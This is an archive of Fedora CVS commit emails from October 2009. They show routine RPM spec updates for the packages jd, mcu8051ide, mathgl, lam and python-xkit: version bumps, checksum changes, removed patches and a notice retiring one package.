In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18453/F-12

Modified Files:
	.cvsignore jd.spec sources 
Log Message:
* Mon Oct 26 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
- rev 3140



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/jd/F-12/.cvsignore,v
retrieving revision 1.404
retrieving revision 1.405
diff -u -p -r1.404 -r1.405
--- .cvsignore	23 Oct 2009 18:03:57 -0000	1.404
+++ .cvsignore	25 Oct 2009 17:40:00 -0000	1.405
@@ -1 +1 @@
-jd-2.5.0-svn3133_trunk.tgz
+jd-2.5.0-svn3140_trunk.tgz


Index: jd.spec
===================================================================
RCS file: /cvs/extras/rpms/jd/F-12/jd.spec,v
retrieving revision 1.468
retrieving revision 1.469
diff -u -p -r1.468 -r1.469
--- jd.spec	23 Oct 2009 18:03:57 -0000	1.468
+++ jd.spec	25 Oct 2009 17:40:00 -0000	1.469
@@ -10,7 +10,7 @@
 # Defined by upsteam
 #
 %define         main_ver      2.5.0
-%define         strtag        svn3133_trunk
+%define         strtag        svn3140_trunk
 %define         repoid        43788
 # Define this if this is pre-version
 %define         pre_release   1
@@ -135,8 +135,8 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{icondir}/%{name}.png
 
 %changelog
-* Sat Oct 24 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
-- rev 3133
+* Mon Oct 26 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
+- rev 3140
 
 * Sun Sep 27 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.4.2-1
 - 2.4.2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/jd/F-12/sources,v
retrieving revision 1.405
retrieving revision 1.406
diff -u -p -r1.405 -r1.406
--- sources	23 Oct 2009 18:03:57 -0000	1.405
+++ sources	25 Oct 2009 17:40:00 -0000	1.406
@@ -1 +1 @@
-97ca5453376266ee0c39d7e99c280caa  jd-2.5.0-svn3133_trunk.tgz
+c6effb9c103ac8f25f4b1e5423660c1d  jd-2.5.0-svn3140_trunk.tgz



From mtasaka at fedoraproject.org  Sun Oct 25 17:40:01 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Sun, 25 Oct 2009 17:40:01 +0000 (UTC)
Subject: rpms/jd/devel .cvsignore, 1.393, 1.394 jd.spec, 1.456, 1.457 sources,
	1.394, 1.395
Message-ID: <20091025174001.A303711C0345@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/jd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18453/devel

Modified Files:
	.cvsignore jd.spec sources 
Log Message:
* Mon Oct 26 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
- rev 3140



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/jd/devel/.cvsignore,v
retrieving revision 1.393
retrieving revision 1.394
diff -u -p -r1.393 -r1.394
--- .cvsignore	23 Oct 2009 18:03:58 -0000	1.393
+++ .cvsignore	25 Oct 2009 17:40:00 -0000	1.394
@@ -1 +1 @@
-jd-2.5.0-svn3133_trunk.tgz
+jd-2.5.0-svn3140_trunk.tgz


Index: jd.spec
===================================================================
RCS file: /cvs/extras/rpms/jd/devel/jd.spec,v
retrieving revision 1.456
retrieving revision 1.457
diff -u -p -r1.456 -r1.457
--- jd.spec	23 Oct 2009 18:03:58 -0000	1.456
+++ jd.spec	25 Oct 2009 17:40:00 -0000	1.457
@@ -10,7 +10,7 @@
 # Defined by upsteam
 #
 %define         main_ver      2.5.0
-%define         strtag        svn3133_trunk
+%define         strtag        svn3140_trunk
 %define         repoid        43788
 # Define this if this is pre-version
 %define         pre_release   1
@@ -135,8 +135,8 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{icondir}/%{name}.png
 
 %changelog
-* Sat Oct 24 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
-- rev 3133
+* Mon Oct 26 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
+- rev 3140
 
 * Sun Sep 27 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.4.2-1
 - 2.4.2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/jd/devel/sources,v
retrieving revision 1.394
retrieving revision 1.395
diff -u -p -r1.394 -r1.395
--- sources	23 Oct 2009 18:03:58 -0000	1.394
+++ sources	25 Oct 2009 17:40:01 -0000	1.395
@@ -1 +1 @@
-97ca5453376266ee0c39d7e99c280caa  jd-2.5.0-svn3133_trunk.tgz
+c6effb9c103ac8f25f4b1e5423660c1d  jd-2.5.0-svn3140_trunk.tgz



From shakthimaan at fedoraproject.org  Sun Oct 25 17:43:01 2009
From: shakthimaan at fedoraproject.org (Shakthi Kannan)
Date: Sun, 25 Oct 2009 17:43:01 +0000 (UTC)
Subject: rpms/mcu8051ide/devel .cvsignore, 1.3, 1.4 import.log, 1.2,
	1.3 mcu8051ide.spec, 1.3, 1.4 sources, 1.3,
	1.4 add-she-bang-itcl.patch, 1.1, NONE
Message-ID: <20091025174301.4F62611C00E5@cvs1.fedora.phx.redhat.com>

Author: shakthimaan

Update of /cvs/pkgs/rpms/mcu8051ide/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19310/devel

Modified Files:
	.cvsignore import.log mcu8051ide.spec sources 
Removed Files:
	add-she-bang-itcl.patch 
Log Message:
Updated to 1.3.1 upstream.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mcu8051ide/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	7 Aug 2009 17:18:34 -0000	1.3
+++ .cvsignore	25 Oct 2009 17:43:00 -0000	1.4
@@ -1 +1 @@
-mcu8051ide-1.2.tar.gz
+mcu8051ide-1.3.1.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/mcu8051ide/devel/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	7 Aug 2009 17:18:35 -0000	1.2
+++ import.log	25 Oct 2009 17:43:01 -0000	1.3
@@ -1,2 +1,3 @@
 mcu8051ide-1_1-4_fc10:HEAD:mcu8051ide-1.1-4.fc10.src.rpm:1245389335
 mcu8051ide-1_2-1_fc11:HEAD:mcu8051ide-1.2-1.fc11.src.rpm:1249665816
+mcu8051ide-1_3_1-1_fc11:HEAD:mcu8051ide-1.3.1-1.fc11.src.rpm:1256492960


Index: mcu8051ide.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mcu8051ide/devel/mcu8051ide.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- mcu8051ide.spec	7 Aug 2009 17:18:35 -0000	1.3
+++ mcu8051ide.spec	25 Oct 2009 17:43:01 -0000	1.4
@@ -1,5 +1,5 @@
 Name:           mcu8051ide
-Version:        1.2
+Version:        1.3.1
 Release:        1%{?dist}
 Summary:        IDE for MCS-51 based microcontrollers
 
@@ -7,7 +7,6 @@ Group:          Applications/Engineering
 License:        GPLv2+
 URL:            http://mcu8051ide.sourceforge.net
 Source0:        http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz
-Patch0:         add-she-bang-itcl.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
 
@@ -16,7 +15,7 @@ BuildRequires:  itcl >= 3.4
 BuildRequires:  tdom >= 0.8
 BuildRequires:  desktop-file-utils
 Requires:       electronics-menu
-Requires:       tkimg itcl tdom tcllib bwidget rxvt-unicode sdcc
+Requires:       tkimg itcl tdom tcllib bwidget rxvt-unicode sdcc tclx
 
 %description
 Integrated Development Enviroment for some MCS-51 based microcontrollers 
@@ -24,7 +23,6 @@ Integrated Development Enviroment for so
 
 %prep
 %setup -q 
-%patch0 -p1 -b .fix
 
 %build
 %configure
@@ -39,7 +37,10 @@ desktop-file-install --vendor ""  \
 --remove-category "Development"   \
 --dir %{buildroot}%{_datadir}/applications/    \
 %{buildroot}%{_datadir}/applications/%{name}.desktop
-chmod 0755 %{buildroot}%{_datadir}/%{name}/lib/*.tcl
+
+
+chmod 0755 `find %{buildroot} -name \*.tcl`
+
 
 %clean
 rm -rf %{buildroot}
@@ -55,6 +56,15 @@ rm -rf %{buildroot}
 %{_datadir}/pixmaps/mcu8051ide.png
 
 %changelog
+* Sun Oct 25 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.3.1-1
+- Updated package to 1.3.1 upstream release
+
+* Mon Aug 24 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.3-1
+- Updated Release, Version
+- Removed earlier patches that were applied in 1.2 upstream
+- Re-applied mcu8051-1.1-desktop-exec-path-fix.patch
+- Added tclx as Requires dependency
+
 * Wed Aug 06 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.2-1
 - Updated Release, Version
 - Removed earlier patches that have now been applied in 1.2 upstream


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mcu8051ide/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	7 Aug 2009 17:18:35 -0000	1.3
+++ sources	25 Oct 2009 17:43:01 -0000	1.4
@@ -1 +1 @@
-caab1c78c724843ce054c4a2e2437358  mcu8051ide-1.2.tar.gz
+08557cf5d5aea1fd862f2d79b1b4bc9d  mcu8051ide-1.3.1.tar.gz


--- add-she-bang-itcl.patch DELETED ---



From shakthimaan at fedoraproject.org  Sun Oct 25 17:45:29 2009
From: shakthimaan at fedoraproject.org (Shakthi Kannan)
Date: Sun, 25 Oct 2009 17:45:29 +0000 (UTC)
Subject: rpms/mcu8051ide/F-10 .cvsignore, 1.4, 1.5 import.log, 1.3,
	1.4 mcu8051ide.spec, 1.3, 1.4 sources, 1.4,
	1.5 mcu8051-1.1-desktop-exec-path-fix.patch, 1.3, NONE
Message-ID: <20091025174529.C01A711C00E5@cvs1.fedora.phx.redhat.com>

Author: shakthimaan

Update of /cvs/pkgs/rpms/mcu8051ide/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20533/F-10

Modified Files:
	.cvsignore import.log mcu8051ide.spec sources 
Removed Files:
	mcu8051-1.1-desktop-exec-path-fix.patch 
Log Message:
Updated to 1.3.1 upstream.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mcu8051ide/F-10/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	24 Aug 2009 16:45:29 -0000	1.4
+++ .cvsignore	25 Oct 2009 17:45:28 -0000	1.5
@@ -1 +1 @@
-mcu8051ide-1.3.tar.gz
+mcu8051ide-1.3.1.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/mcu8051ide/F-10/import.log,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- import.log	24 Aug 2009 16:45:29 -0000	1.3
+++ import.log	25 Oct 2009 17:45:28 -0000	1.4
@@ -1,3 +1,4 @@
 mcu8051ide-1_1-4_fc10:F-10:mcu8051ide-1.1-4.fc10.src.rpm:1245389611
 mcu8051ide-1_2-1_fc11:F-10:mcu8051ide-1.2-1.fc11.src.rpm:1249666014
 mcu8051ide-1_3-1_fc11:F-10:mcu8051ide-1.3-1.fc11.src.rpm:1251132649
+mcu8051ide-1_3_1-1_fc11:F-10:mcu8051ide-1.3.1-1.fc11.src.rpm:1256493128


Index: mcu8051ide.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mcu8051ide/F-10/mcu8051ide.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- mcu8051ide.spec	24 Aug 2009 16:45:29 -0000	1.3
+++ mcu8051ide.spec	25 Oct 2009 17:45:29 -0000	1.4
@@ -1,5 +1,5 @@
 Name:           mcu8051ide
-Version:        1.3
+Version:        1.3.1
 Release:        1%{?dist}
 Summary:        IDE for MCS-51 based microcontrollers
 
@@ -7,7 +7,6 @@ Group:          Applications/Engineering
 License:        GPLv2+
 URL:            http://mcu8051ide.sourceforge.net
 Source0:        http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz
-Patch0:         mcu8051-1.1-desktop-exec-path-fix.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
 
@@ -24,7 +23,6 @@ Integrated Development Enviroment for so
 
 %prep
 %setup -q 
-%patch0 -p1 -b .desktop
 
 %build
 %configure
@@ -39,7 +37,10 @@ desktop-file-install --vendor ""  \
 --remove-category "Development"   \
 --dir %{buildroot}%{_datadir}/applications/    \
 %{buildroot}%{_datadir}/applications/%{name}.desktop
-chmod 0755 %{buildroot}%{_datadir}/%{name}/lib/*.tcl
+
+
+chmod 0755 `find %{buildroot} -name \*.tcl`
+
 
 %clean
 rm -rf %{buildroot}
@@ -55,6 +56,9 @@ rm -rf %{buildroot}
 %{_datadir}/pixmaps/mcu8051ide.png
 
 %changelog
+* Sun Oct 25 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.3.1-1
+- Updated package to 1.3.1 upstream release
+
 * Mon Aug 24 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.3-1
 - Updated Release, Version
 - Removed earlier patches that were applied in 1.2 upstream


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mcu8051ide/F-10/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	24 Aug 2009 16:45:29 -0000	1.4
+++ sources	25 Oct 2009 17:45:29 -0000	1.5
@@ -1 +1 @@
-b656a4e71be3f661e956657da9b5cd13  mcu8051ide-1.3.tar.gz
+08557cf5d5aea1fd862f2d79b1b4bc9d  mcu8051ide-1.3.1.tar.gz


--- mcu8051-1.1-desktop-exec-path-fix.patch DELETED ---



From shakthimaan at fedoraproject.org  Sun Oct 25 17:47:34 2009
From: shakthimaan at fedoraproject.org (Shakthi Kannan)
Date: Sun, 25 Oct 2009 17:47:34 +0000 (UTC)
Subject: rpms/mcu8051ide/F-11 .cvsignore, 1.4, 1.5 import.log, 1.3,
	1.4 mcu8051ide.spec, 1.3, 1.4 sources, 1.4,
	1.5 mcu8051-1.1-desktop-exec-path-fix.patch, 1.3, NONE
Message-ID: <20091025174734.975E611C00E5@cvs1.fedora.phx.redhat.com>

Author: shakthimaan

Update of /cvs/pkgs/rpms/mcu8051ide/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21226/F-11

Modified Files:
	.cvsignore import.log mcu8051ide.spec sources 
Removed Files:
	mcu8051-1.1-desktop-exec-path-fix.patch 
Log Message:
Updated to 1.3.1 upstream.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mcu8051ide/F-11/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	24 Aug 2009 16:47:28 -0000	1.4
+++ .cvsignore	25 Oct 2009 17:47:34 -0000	1.5
@@ -1 +1 @@
-mcu8051ide-1.3.tar.gz
+mcu8051ide-1.3.1.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/mcu8051ide/F-11/import.log,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- import.log	24 Aug 2009 16:47:28 -0000	1.3
+++ import.log	25 Oct 2009 17:47:34 -0000	1.4
@@ -1,3 +1,4 @@
 mcu8051ide-1_1-4_fc10:F-11:mcu8051ide-1.1-4.fc10.src.rpm:1245389825
 mcu8051ide-1_2-1_fc11:F-11:mcu8051ide-1.2-1.fc11.src.rpm:1249666151
 mcu8051ide-1_3-1_fc11:F-11:mcu8051ide-1.3-1.fc11.src.rpm:1251132783
+mcu8051ide-1_3_1-1_fc11:F-11:mcu8051ide-1.3.1-1.fc11.src.rpm:1256493255


Index: mcu8051ide.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mcu8051ide/F-11/mcu8051ide.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- mcu8051ide.spec	24 Aug 2009 16:47:29 -0000	1.3
+++ mcu8051ide.spec	25 Oct 2009 17:47:34 -0000	1.4
@@ -1,5 +1,5 @@
 Name:           mcu8051ide
-Version:        1.3
+Version:        1.3.1
 Release:        1%{?dist}
 Summary:        IDE for MCS-51 based microcontrollers
 
@@ -7,7 +7,6 @@ Group:          Applications/Engineering
 License:        GPLv2+
 URL:            http://mcu8051ide.sourceforge.net
 Source0:        http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz
-Patch0:         mcu8051-1.1-desktop-exec-path-fix.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
 
@@ -24,7 +23,6 @@ Integrated Development Enviroment for so
 
 %prep
 %setup -q 
-%patch0 -p1 -b .desktop
 
 %build
 %configure
@@ -39,7 +37,10 @@ desktop-file-install --vendor ""  \
 --remove-category "Development"   \
 --dir %{buildroot}%{_datadir}/applications/    \
 %{buildroot}%{_datadir}/applications/%{name}.desktop
-chmod 0755 %{buildroot}%{_datadir}/%{name}/lib/*.tcl
+
+
+chmod 0755 `find %{buildroot} -name \*.tcl`
+
 
 %clean
 rm -rf %{buildroot}
@@ -55,6 +56,9 @@ rm -rf %{buildroot}
 %{_datadir}/pixmaps/mcu8051ide.png
 
 %changelog
+* Sun Oct 25 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.3.1-1
+- Updated package to 1.3.1 upstream release
+
 * Mon Aug 24 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.3-1
 - Updated Release, Version
 - Removed earlier patches that were applied in 1.2 upstream


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mcu8051ide/F-11/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	24 Aug 2009 16:47:29 -0000	1.4
+++ sources	25 Oct 2009 17:47:34 -0000	1.5
@@ -1 +1 @@
-b656a4e71be3f661e956657da9b5cd13  mcu8051ide-1.3.tar.gz
+08557cf5d5aea1fd862f2d79b1b4bc9d  mcu8051ide-1.3.1.tar.gz


--- mcu8051-1.1-desktop-exec-path-fix.patch DELETED ---



From shakthimaan at fedoraproject.org  Sun Oct 25 17:51:33 2009
From: shakthimaan at fedoraproject.org (Shakthi Kannan)
Date: Sun, 25 Oct 2009 17:51:33 +0000 (UTC)
Subject: rpms/mcu8051ide/F-12 .cvsignore, 1.3, 1.4 import.log, 1.2,
	1.3 mcu8051ide.spec, 1.3, 1.4 sources, 1.3,
	1.4 add-she-bang-itcl.patch, 1.1, NONE
Message-ID: <20091025175133.911EF11C00E5@cvs1.fedora.phx.redhat.com>

Author: shakthimaan

Update of /cvs/pkgs/rpms/mcu8051ide/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22704/F-12

Modified Files:
	.cvsignore import.log mcu8051ide.spec sources 
Removed Files:
	add-she-bang-itcl.patch 
Log Message:
Updated to 1.3.1 upstream.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mcu8051ide/F-12/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	7 Aug 2009 17:18:34 -0000	1.3
+++ .cvsignore	25 Oct 2009 17:51:32 -0000	1.4
@@ -1 +1 @@
-mcu8051ide-1.2.tar.gz
+mcu8051ide-1.3.1.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/mcu8051ide/F-12/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	7 Aug 2009 17:18:35 -0000	1.2
+++ import.log	25 Oct 2009 17:51:32 -0000	1.3
@@ -1,2 +1,3 @@
 mcu8051ide-1_1-4_fc10:HEAD:mcu8051ide-1.1-4.fc10.src.rpm:1245389335
 mcu8051ide-1_2-1_fc11:HEAD:mcu8051ide-1.2-1.fc11.src.rpm:1249665816
+mcu8051ide-1_3_1-1_fc11:F-12:mcu8051ide-1.3.1-1.fc11.src.rpm:1256493385


Index: mcu8051ide.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mcu8051ide/F-12/mcu8051ide.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- mcu8051ide.spec	7 Aug 2009 17:18:35 -0000	1.3
+++ mcu8051ide.spec	25 Oct 2009 17:51:32 -0000	1.4
@@ -1,5 +1,5 @@
 Name:           mcu8051ide
-Version:        1.2
+Version:        1.3.1
 Release:        1%{?dist}
 Summary:        IDE for MCS-51 based microcontrollers
 
@@ -7,7 +7,6 @@ Group:          Applications/Engineering
 License:        GPLv2+
 URL:            http://mcu8051ide.sourceforge.net
 Source0:        http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz
-Patch0:         add-she-bang-itcl.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
 
@@ -16,7 +15,7 @@ BuildRequires:  itcl >= 3.4
 BuildRequires:  tdom >= 0.8
 BuildRequires:  desktop-file-utils
 Requires:       electronics-menu
-Requires:       tkimg itcl tdom tcllib bwidget rxvt-unicode sdcc
+Requires:       tkimg itcl tdom tcllib bwidget rxvt-unicode sdcc tclx
 
 %description
 Integrated Development Enviroment for some MCS-51 based microcontrollers 
@@ -24,7 +23,6 @@ Integrated Development Enviroment for so
 
 %prep
 %setup -q 
-%patch0 -p1 -b .fix
 
 %build
 %configure
@@ -39,7 +37,10 @@ desktop-file-install --vendor ""  \
 --remove-category "Development"   \
 --dir %{buildroot}%{_datadir}/applications/    \
 %{buildroot}%{_datadir}/applications/%{name}.desktop
-chmod 0755 %{buildroot}%{_datadir}/%{name}/lib/*.tcl
+
+
+chmod 0755 `find %{buildroot} -name \*.tcl`
+
 
 %clean
 rm -rf %{buildroot}
@@ -55,6 +56,15 @@ rm -rf %{buildroot}
 %{_datadir}/pixmaps/mcu8051ide.png
 
 %changelog
+* Sun Oct 25 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.3.1-1
+- Updated package to 1.3.1 upstream release
+
+* Mon Aug 24 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.3-1
+- Updated Release, Version
+- Removed earlier patches that were applied in 1.2 upstream
+- Re-applied mcu8051-1.1-desktop-exec-path-fix.patch
+- Added tclx as Requires dependency
+
 * Wed Aug 06 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.2-1
 - Updated Release, Version
 - Removed earlier patches that have now been applied in 1.2 upstream


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mcu8051ide/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	7 Aug 2009 17:18:35 -0000	1.3
+++ sources	25 Oct 2009 17:51:32 -0000	1.4
@@ -1 +1 @@
-caab1c78c724843ce054c4a2e2437358  mcu8051ide-1.2.tar.gz
+08557cf5d5aea1fd862f2d79b1b4bc9d  mcu8051ide-1.3.1.tar.gz


--- add-she-bang-itcl.patch DELETED ---



From mjakubicek at fedoraproject.org  Sun Oct 25 17:53:26 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Sun, 25 Oct 2009 17:53:26 +0000 (UTC)
Subject: rpms/mathgl/F-12 mathgl.spec,1.1,1.2
Message-ID: <20091025175326.C11CD11C00E5@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/mathgl/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23251/F-12

Modified Files:
	mathgl.spec 
Log Message:
- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild




Index: mathgl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mathgl/F-12/mathgl.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- mathgl.spec	14 Sep 2009 10:51:23 -0000	1.1
+++ mathgl.spec	25 Oct 2009 17:53:26 -0000	1.2
@@ -1,7 +1,7 @@
 %{!?octave_api:%global octave_api %(octave-config -p API_VERSION || echo 0)}
 Name: mathgl
 Version: 1.9
-Release: 6%{?dist}
+Release: 7%{?dist}
 Summary: Cross-platform library for making high-quality scientific graphics
 Summary(ru): MathGL - ??? ?????????? ??? ????????????? ?????????????????? ???????????? ??????
 License: GPLv2+
@@ -199,6 +199,9 @@ rm -rf $RPM_BUILD_ROOT
 %doc texinfo/docs/*
 
 %changelog
+* Sun Oct 25 2009 Milos Jakubicek <xjakub at fi.muni.cz> - 1.9-7
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Mon Sep 14 2009 <mycae(a!t)yahoo.com> 1.9-6
 - Add COPYING to doc
 



From mjakubicek at fedoraproject.org  Sun Oct 25 17:53:27 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Sun, 25 Oct 2009 17:53:27 +0000 (UTC)
Subject: rpms/mathgl/devel mathgl.spec,1.1,1.2
Message-ID: <20091025175327.0170311C00E5@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/mathgl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23251/devel

Modified Files:
	mathgl.spec 
Log Message:
- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild




Index: mathgl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mathgl/devel/mathgl.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- mathgl.spec	14 Sep 2009 10:51:23 -0000	1.1
+++ mathgl.spec	25 Oct 2009 17:53:26 -0000	1.2
@@ -1,7 +1,7 @@
 %{!?octave_api:%global octave_api %(octave-config -p API_VERSION || echo 0)}
 Name: mathgl
 Version: 1.9
-Release: 6%{?dist}
+Release: 7%{?dist}
 Summary: Cross-platform library for making high-quality scientific graphics
 Summary(ru): MathGL - ??? ?????????? ??? ????????????? ?????????????????? ???????????? ??????
 License: GPLv2+
@@ -199,6 +199,9 @@ rm -rf $RPM_BUILD_ROOT
 %doc texinfo/docs/*
 
 %changelog
+* Sun Oct 25 2009 Milos Jakubicek <xjakub at fi.muni.cz> - 1.9-7
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Mon Sep 14 2009 <mycae(a!t)yahoo.com> 1.9-6
 - Add COPYING to doc
 



From dledford at fedoraproject.org  Sun Oct 25 18:07:43 2009
From: dledford at fedoraproject.org (Doug Ledford)
Date: Sun, 25 Oct 2009 18:07:43 +0000 (UTC)
Subject: rpms/lam/devel dead.package, NONE, 1.1 .cvsignore, 1.14,
	NONE Makefile, 1.2, NONE lam-7.1.2-archmode.patch, 1.1,
	NONE lam-7.1.2-no_darwin.patch, 1.2, NONE lam-7.1.4-man.patch,
	1.1, NONE lam-gcc43-build.patch, 1.1, NONE lam.module.in, 1.5,
	NONE lam.pc.in, 1.3, NONE lam.spec, 1.58, NONE sources, 1.15, NONE
Message-ID: <20091025180743.C640211C00E5@cvs1.fedora.phx.redhat.com>

Author: dledford

Update of /cvs/extras/rpms/lam/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28859

Added Files:
	dead.package 
Removed Files:
	.cvsignore Makefile lam-7.1.2-archmode.patch 
	lam-7.1.2-no_darwin.patch lam-7.1.4-man.patch 
	lam-gcc43-build.patch lam.module.in lam.pc.in lam.spec sources 
Log Message:
Dead package process


--- NEW FILE dead.package ---
Obsolete package.  Replace by Open MPI (although not a drop in replacement,
so no automatic Obsoletes: in the Open MPI package).


--- .cvsignore DELETED ---


--- Makefile DELETED ---


--- lam-7.1.2-archmode.patch DELETED ---


--- lam-7.1.2-no_darwin.patch DELETED ---


--- lam-7.1.4-man.patch DELETED ---


--- lam-gcc43-build.patch DELETED ---


--- lam.module.in DELETED ---


--- lam.pc.in DELETED ---


--- lam.spec DELETED ---


--- sources DELETED ---



From mjakubicek at fedoraproject.org  Sun Oct 25 18:16:11 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Sun, 25 Oct 2009 18:16:11 +0000 (UTC)
Subject: rpms/python-xkit/F-12 python-xkit.spec,1.2,1.3
Message-ID: <20091025181611.6254F11C00E5@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/python-xkit/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31183/F-12

Modified Files:
	python-xkit.spec 
Log Message:
- Fix FTBFS: fixed %%files section for python 2.6




Index: python-xkit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-xkit/F-12/python-xkit.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- python-xkit.spec	27 Jul 2009 01:32:34 -0000	1.2
+++ python-xkit.spec	25 Oct 2009 18:16:10 -0000	1.3
@@ -4,7 +4,7 @@
 Summary: A simple, transparent and easy to extend xorg parser
 Name:    python-xkit
 Version: 0.4.2
-Release: 3%{?dist}
+Release: 4%{?dist}
 Source0: http://code.launchpad.net/xorgparser/trunk/0.4.2/+download/%{upstreamname}-%{version}.tar.gz
 License: LGPLv2
 Group:   Development/Libraries
